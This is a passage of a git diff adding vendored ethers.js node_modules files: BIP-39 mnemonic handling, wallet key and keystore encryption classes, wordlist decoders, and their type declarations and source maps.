wordlist.split(mnemonic); + assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); + const entropy = new Uint8Array(Math.ceil(11 * words.length / 8)); + let offset = 0; + for (let i = 0; i < words.length; i++) { + let index = wordlist.getWordIndex(words[i].normalize("NFKD")); + assertArgument(index >= 0, `invalid mnemonic word at index ${i}`, "mnemonic", "[ REDACTED ]"); + for (let bit = 0; bit < 11; bit++) { + if (index & (1 << (10 - bit))) { + entropy[offset >> 3] |= (1 << (7 - (offset % 8))); + } + offset++; + } + } + const entropyBits = 32 * words.length / 3; + const checksumBits = words.length / 3; + const checksumMask = getUpperMask(checksumBits); + const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; + assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"); + return hexlify(entropy.slice(0, entropyBits / 8)); +} +function entropyToMnemonic(entropy, wordlist) { + assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const indices = [0]; + let remainingBits = 11; + for (let i = 0; i < entropy.length; i++) { + // Consume the whole byte (with still more to go) + if (remainingBits > 8) { + indices[indices.length - 1] <<= 8; + indices[indices.length - 1] |= entropy[i]; + remainingBits -= 8; + // This byte will complete an 11-bit index + } + else { + indices[indices.length - 1] <<= remainingBits; + indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits); + // Start the next word + indices.push(entropy[i] & getLowerMask(8 - remainingBits)); + remainingBits += 3; + } + } + // Compute the checksum bits + const checksumBits = entropy.length / 4; + const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits); + // Shift the checksum into the word indices + indices[indices.length - 1] <<= checksumBits; + indices[indices.length - 1] |= (checksum >> (8 - checksumBits)); + return wordlist.join(indices.map((index) => wordlist.getWord(index))); +} +const _guard = {}; +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +export class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + phrase; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + password; + /** + * The wordlist for this mnemonic. + */ + wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + entropy; + /** + * @private + */ + constructor(guard, entropy, phrase, password, wordlist) { + if (password == null) { + password = ""; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + assertPrivate(guard, _guard, "Mnemonic"); + defineProperties(this, { phrase, password, wordlist, entropy }); + } + /** + * Returns the seed for the mnemonic. + */ + computeSeed() { + const salt = toUtf8Bytes("mnemonic" + this.password, "NFKD"); + return pbkdf2(toUtf8Bytes(this.phrase, "NFKD"), salt, 2048, 64, "sha512"); + } + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase, password, wordlist) { + // Normalize the case and space; throws if invalid + const entropy = mnemonicToEntropy(phrase, wordlist); + phrase = entropyToMnemonic(getBytes(entropy), wordlist); + return new Mnemonic(_guard, entropy, phrase, password, wordlist); + } + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy, password, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + const phrase = entropyToMnemonic(entropy, wordlist); + return new Mnemonic(_guard, hexlify(entropy), phrase, password, wordlist); + } + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + return entropyToMnemonic(entropy, wordlist); + } + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase, wordlist) { + return mnemonicToEntropy(phrase, wordlist); + } + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase, wordlist) { + try { + mnemonicToEntropy(phrase, wordlist); + return true; + } + catch (error) { } + return false; + } +} +//# sourceMappingURL=mnemonic.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/mnemonic.js.map b/node_modules/ethers/lib.esm/wallet/mnemonic.js.map new file mode 100644 index 000000000000..020c5d3a189b --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/mnemonic.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mnemonic.js","sourceRoot":"","sources":["../../src.ts/wallet/mnemonic.ts"],"names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M,CAAC,eAAe,CAAC,MAAc,EAAE,QAA0B;QAC7D,IAAI;YACA,iBAAiB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YACpC,OAAO,IAAI,CAAC;SACf;QAAC,OAAO,KAAK,EAAE,GAAG;QACnB,OAAO,KAAK,CAAC;IACjB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/utils.d.ts b/node_modules/ethers/lib.esm/wallet/utils.d.ts new file mode 100644 index 000000000000..0d4baabe8668 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/utils.d.ts @@ -0,0 +1,8 @@ +/** + * @_ignore + */ +export declare function looseArrayify(hexString: string): Uint8Array; +export declare function zpad(value: String | number, length: number): String; +export declare function getPassword(password: string | Uint8Array): Uint8Array; +export declare function spelunk(object: any, _path: string): T; +//# sourceMappingURL=utils.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/utils.d.ts.map b/node_modules/ethers/lib.esm/wallet/utils.d.ts.map new file mode 100644 index 000000000000..ecd4e9ae6efe --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/utils.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/utils.ts"],"names":[],"mappings":"AAAA;;GAEG;AAMH,wBAAgB,aAAa,CAAC,SAAS,EAAE,MAAM,GAAG,UAAU,CAK3D;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAInE;AAED,wBAAgB,WAAW,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,GAAG,UAAU,CAKrE;AAED,wBAAgB,OAAO,CAAC,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,GAAG,CAAC,CA8DxD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/utils.js b/node_modules/ethers/lib.esm/wallet/utils.js new file mode 100644 index 000000000000..29bac53d0d90 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/utils.js @@ -0,0 +1,142 @@ +/** + * @_ignore + */ +import { getBytesCopy, assertArgument, toUtf8Bytes } from "../utils/index.js"; +export function looseArrayify(hexString) { + if (typeof (hexString) === "string" && !hexString.startsWith("0x")) { + hexString = "0x" + hexString; + } + return getBytesCopy(hexString); +} +export function zpad(value, length) { + value = String(value); + while (value.length < length) { + value = '0' + value; + } + return value; +} +export function getPassword(password) { + if (typeof (password) === 'string') { + return toUtf8Bytes(password, "NFKC"); + } + return getBytesCopy(password); +} +export function spelunk(object, _path) { + const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); + assertArgument(match != null, "invalid path", "path", _path); + const path = match[1]; + const type = match[3]; + const reqd = (match[4] === "!"); + let cur = object; + for (const comp of path.toLowerCase().split('.')) { + // Search for a child object with a case-insensitive matching key + if (Array.isArray(cur)) { + if (!comp.match(/^[0-9]+$/)) { + break; + } + cur = cur[parseInt(comp)]; + } + else if (typeof (cur) === "object") { + let found = null; + for (const key in cur) { + if (key.toLowerCase() === comp) { + found = cur[key]; + break; + } + } + cur = found; + } + else { + cur = null; + } + if (cur == null) { + break; + } + } + assertArgument(!reqd || cur != null, "missing required value", "path", path); + if (type && cur != null) { + if (type === "int") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9]+$/)) { + return parseInt(cur); + } + else if (Number.isSafeInteger(cur)) { + return cur; + } + } + if (type === "number") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9.]*$/)) { + return parseFloat(cur); + } + } + if (type === "data") { + if (typeof (cur) === "string") { + return looseArrayify(cur); + } + } + if (type === "array" && Array.isArray(cur)) { + return cur; + } + if (type === typeof (cur)) { + return cur; + } + assertArgument(false, `wrong type found for ${type} `, "path", path); + } + return cur; +} +/* +export function follow(object: any, path: string): null | string { + let currentChild = object; + + for (const comp of path.toLowerCase().split('/')) { + + // Search for a child object with a case-insensitive matching key + let matchingChild = null; + for (const key in currentChild) { + if (key.toLowerCase() === comp) { + matchingChild = currentChild[key]; + break; + } + } + + if (matchingChild === null) { return null; } + + currentChild = matchingChild; + } + + return currentChild; +} + +// "path/to/something:type!" +export function followRequired(data: any, path: string): string { + const value = follow(data, path); + if (value != null) { return value; } + return logger.throwArgumentError("invalid value", `data:${ path }`, + JSON.stringify(data)); +} +*/ +// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) +/* +export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +*/ +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/utils.js.map b/node_modules/ethers/lib.esm/wallet/utils.js.map new file mode 100644 index 000000000000..a97d58f489f7 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../src.ts/wallet/utils.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EACH,YAAY,EAAE,cAAc,EAAE,WAAW,EAC5C,MAAM,mBAAmB,CAAC;AAE3B,MAAM,UAAU,aAAa,CAAC,SAAiB;IAC3C,IAAI,OAAM,CAAC,SAAS,CAAC,KAAK,QAAQ,IAAI,CAAC,SAAS,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE;QAC/D,SAAS,GAAG,IAAI,GAAG,SAAS,CAAC;KAChC;IACD,OAAO,YAAY,CAAC,SAAS,CAAC,CAAC;AACnC,CAAC;AAED,MAAM,UAAU,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M,CAAC,GAAG,CAAC,EAAE;YAAE,OAAO,GAAG,CAAC;SAAE;QAEzC,cAAc,CAAC,KAAK,EAAE,wBAAyB,IAAK,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;KAC1E;IAED,OAAO,GAAG,CAAC;AACf,CAAC;AACD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EA8BE;AACF,0DAA0D;AAC1D;;;;;;;;;;;;;;;;;;;;;;;EAuBE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/wallet.d.ts b/node_modules/ethers/lib.esm/wallet/wallet.d.ts new file mode 100644 index 000000000000..91fa60987c99 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/wallet.d.ts @@ -0,0 +1,71 @@ +import { SigningKey } from "../crypto/index.js"; +import { BaseWallet } from "./base-wallet.js"; +import { HDNodeWallet } from "./hdwallet.js"; +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +export declare class Wallet extends BaseWallet { + #private; + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key: string | SigningKey, provider?: null | Provider); + connect(provider: null | Provider): Wallet; + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise; + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string; + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static fromEncryptedJson(json: string, password: Uint8Array | string, progress?: ProgressCallback): Promise; + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json: string, password: Uint8Array | string): HDNodeWallet | Wallet; + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider?: null | Provider): HDNodeWallet; + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase: string, provider?: Provider): HDNodeWallet; +} +//# sourceMappingURL=wallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/wallet.d.ts.map b/node_modules/ethers/lib.esm/wallet/wallet.d.ts.map new file mode 100644 index 000000000000..afa4098dc770 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/wallet.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wallet.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/wallet.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAGhD,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAS7C,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AAC3D,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AAUtD;;;;;;;;;GASG;AACH,qBAAa,MAAO,SAAQ,UAAU;;IAElC;;;OAGG;gBACS,GAAG,EAAE,MAAM,GAAG,UAAU,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ;IAShE,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAI1C;;;;;;OAMG;IACG,OAAO,CAAC,QAAQ,EAAE,UAAU,GAAG,MAAM,EAAE,gBAAgB,CAAC,EAAE,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC;IAKlG;;;;;;;;;OASG;IACH,WAAW,CAAC,QAAQ,EAAE,UAAU,GAAG,MAAM,GAAG,MAAM;IAyBlD;;;;;;OAMG;WACU,iBAAiB,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,UAAU,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,gBAAgB,GAAG,OAAO,CAAC,YAAY,GAAG,MAAM,CAAC;IAexI;;;;;;OAMG;IACH,MAAM,CAAC,qBAAqB,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,UAAU,GAAG,MAAM,GAAG,YAAY,GAAG,MAAM;IAahG;;;;;OAKG;IACH,MAAM,CAAC,YAAY,CAAC,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,YAAY;IAM7D;;OAEG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,QAAQ,GAAG,YAAY;CAKvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/wallet.js b/node_modules/ethers/lib.esm/wallet/wallet.js new file mode 100644 index 000000000000..4f4808d782c2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/wallet.js @@ -0,0 +1,144 @@ +import { SigningKey } from "../crypto/index.js"; +import { assertArgument } from "../utils/index.js"; +import { BaseWallet } from "./base-wallet.js"; +import { HDNodeWallet } from "./hdwallet.js"; +import { decryptCrowdsaleJson, isCrowdsaleJson } from "./json-crowdsale.js"; +import { decryptKeystoreJson, decryptKeystoreJsonSync, encryptKeystoreJson, encryptKeystoreJsonSync, isKeystoreJson } from "./json-keystore.js"; +import { Mnemonic } from "./mnemonic.js"; +function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +export class Wallet extends BaseWallet { + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key, provider) { + if (typeof (key) === "string" && !key.startsWith("0x")) { + key = "0x" + key; + } + let signingKey = (typeof (key) === "string") ? new SigningKey(key) : key; + super(signingKey, provider); + } + connect(provider) { + return new Wallet(this.signingKey, provider); + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + const account = { address: this.address, privateKey: this.privateKey }; + return await encryptKeystoreJson(account, password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + const account = { address: this.address, privateKey: this.privateKey }; + return encryptKeystoreJsonSync(account, password); + } + static #fromAccount(account) { + assertArgument(account, "invalid JSON wallet", "json", "[ REDACTED ]"); + if ("mnemonic" in account && account.mnemonic && account.mnemonic.locale === "en") { + const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy); + const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path); + if (wallet.address === account.address && wallet.privateKey === account.privateKey) { + return wallet; + } + console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); + } + const wallet = new Wallet(account.privateKey); + assertArgument(wallet.address === account.address, "address/privateKey mismatch", "json", "[ REDACTED ]"); + return wallet; + } + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static async fromEncryptedJson(json, password, progress) { + let account = null; + if (isKeystoreJson(json)) { + account = await decryptKeystoreJson(json, password, progress); + } + else if (isCrowdsaleJson(json)) { + if (progress) { + progress(0); + await stall(0); + } + account = decryptCrowdsaleJson(json, password); + if (progress) { + progress(1); + await stall(0); + } + } + return Wallet.#fromAccount(account); + } + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json, password) { + let account = null; + if (isKeystoreJson(json)) { + account = decryptKeystoreJsonSync(json, password); + } + else if (isCrowdsaleJson(json)) { + account = decryptCrowdsaleJson(json, password); + } + else { + assertArgument(false, "invalid JSON wallet", "json", "[ REDACTED ]"); + } + return Wallet.#fromAccount(account); + } + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider) { + const wallet = HDNodeWallet.createRandom(); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase, provider) { + const wallet = HDNodeWallet.fromPhrase(phrase); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } +} +//# sourceMappingURL=wallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/wallet.js.map b/node_modules/ethers/lib.esm/wallet/wallet.js.map new file mode 100644 index 000000000000..60312a88e57f --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/wallet.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wallet.js","sourceRoot":"","sources":["../../src.ts/wallet/wallet.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO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AAM,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;SAAE;QAClD,OAAO,MAAM,CAAC;IAClB,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,UAAU,CAAC,MAAc,EAAE,QAAmB;QACjD,MAAM,MAAM,GAAG,YAAY,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QAC/C,IAAI,QAAQ,EAAE;YAAE,OAAO,MAAM,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;SAAE;QAClD,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts b/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts new file mode 100644 index 000000000000..1aa849530000 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts @@ -0,0 +1,5 @@ +/** + * @_ignore + */ +export declare function decodeBits(width: number, data: string): Array; +//# sourceMappingURL=bit-reader.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts.map b/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts.map new file mode 100644 index 000000000000..c088a746511e --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/bit-reader.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bit-reader.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/bit-reader.ts"],"names":[],"mappings":"AAEA;;GAEG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CA6BrE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/bit-reader.js b/node_modules/ethers/lib.esm/wordlists/bit-reader.js new file mode 100644 index 000000000000..bf53031464e2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/bit-reader.js @@ -0,0 +1,32 @@ +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +/** + * @_ignore + */ +export function decodeBits(width, data) { + const maxValue = (1 << width) - 1; + const result = []; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } + else { + result.push(value + flood); + flood = 0; + } + } + } + return result; +} +//# sourceMappingURL=bit-reader.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/bit-reader.js.map b/node_modules/ethers/lib.esm/wordlists/bit-reader.js.map new file mode 100644 index 000000000000..79f3e876d6a2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/bit-reader.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bit-reader.js","sourceRoot":"","sources":["../../src.ts/wordlists/bit-reader.ts"],"names":[],"mappings":"AAAA,MAAM,MAAM,GAAG,kEAAkE,CAAC;AAElF;;GAEG;AACH,MAAM,UAAU,UAAU,CAAC,KAAa,EAAE,IAAY;IAClD,MAAM,QAAQ,GAAG,CAAC,CAAC,IAAI,KAAK,CAAC,GAAG,CAAC,CAAC;IAClC,MAAM,MAAM,GAAkB,EAAG,CAAC;IAClC,IAAI,KAAK,GAAG,CAAC,EAAE,IAAI,GAAG,CAAC,EAAE,KAAK,GAAG,CAAC,CAAC;IACnC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAElC,4BAA4B;QAC5B,KAAK,GAAG,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,GAAG,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACjD,IAAI,IAAI,CAAC,CAAC;QAEV,qCAAqC;QACrC,OAAO,IAAI,IAAI,KAAK,EAAE;YAClB,mBAAmB;YACnB,MAAM,KAAK,GAAG,CAAC,KAAK,IAAI,CAAC,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC;YACxC,KAAK,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,GAAG,KAAK,CAAC,CAAC,GAAG,CAAC,CAAC;YACnC,IAAI,IAAI,KAAK,CAAC;YAEd,kDAAkD;YAClD,kCAAkC;YAClC,IAAI,KAAK,KAAK,CAAC,EAAE;gBACb,KAAK,IAAI,QAAQ,CAAC;aACrB;iBAAM;gBACH,MAAM,CAAC,IAAI,CAAC,KAAK,GAAG,KAAK,CAAC,CAAC;gBAC3B,KAAK,GAAG,CAAC,CAAC;aACb;SACJ;KACJ;IAED,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts b/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts new file mode 100644 index 000000000000..8822086bb6ff --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts @@ -0,0 +1,9 @@ +/** + * @_ignore + */ +export declare function decode(data: string, subs: string): Array; +/** + * @_ignore + */ +export declare function decodeOwl(data: string): Array; +//# sourceMappingURL=decode-owl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts.map b/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts.map new file mode 100644 index 000000000000..aa6928918041 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owl.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owl.ts"],"names":[],"mappings":"AAqBA;;GAEG;AACH,wBAAgB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAsBhE;AAED;;GAEG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAMrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owl.js b/node_modules/ethers/lib.esm/wordlists/decode-owl.js new file mode 100644 index 000000000000..fe636fde6bab --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owl.js @@ -0,0 +1,55 @@ +import { assertArgument } from "../utils/index.js"; +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z]*$/i; +function unfold(words, sep) { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } + else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } + else { + initial = 97; + accum.push(word); + } + return accum; + }, []); +} +/** + * @_ignore + */ +export function decode(data, subs) { + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps = []; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { + clumps.push(";"); + } + } + else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { + throw new Error(`leftovers: ${JSON.stringify(leftover)}`); + } + /* c8 ignore stop */ + return unfold(unfold(clumps, ";"), ":"); +} +/** + * @_ignore + */ +export function decodeOwl(data) { + assertArgument(data[0] === "0", "unsupported auwl data", "data", data); + return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length)); +} +//# sourceMappingURL=decode-owl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owl.js.map b/node_modules/ethers/lib.esm/wordlists/decode-owl.js.map new file mode 100644 index 000000000000..e5c66d768513 --- /dev/null +++ 